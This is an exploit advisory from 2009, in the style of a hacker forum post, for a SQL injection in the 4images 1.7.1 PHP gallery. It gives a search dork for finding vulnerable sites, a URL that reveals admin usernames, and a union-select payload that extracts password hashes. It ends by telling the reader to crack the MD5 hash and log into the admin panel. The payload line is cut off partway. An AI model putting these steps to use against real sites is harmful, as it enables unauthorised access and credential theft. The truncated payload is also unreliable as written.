4images 1.7.1 Remote SQL Injection Vulnerability

# Exploit Title: 4images 1.7.1 Remote SQL Injection Vulnerability # Date: 20-12-2009 # Author: Master Mind # Version: 1.7.1 # CVE : [N/A] ============================================================= ~ Script Name : 4images 1.7.1 ~ Language : php ~ Author : Master Mind ~ Home : www.shdowskill.com , www.vbspiders.com ============================================================= Dork : Powered By: 4images 1.7.1 ./Exploit: first search for the admin username : ex : http://[Target.com]/path/member.php?action=showprofile&user_id=1 now we have the admin username now we will find the password :] ex : http://[Target.com]/path/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%2$ admin = admin username Crack the MD5 Hash and Enjoy :) admin panel path : http://[Target.com]/path/admin -----------------------------------------------------------------------------------------------------------------------------$ Greets : The Electronic Bomb , Twi[L]ighT , R3D EYE, Doom[PS] , Mr.BoOoO , AND ALL MEMBERS.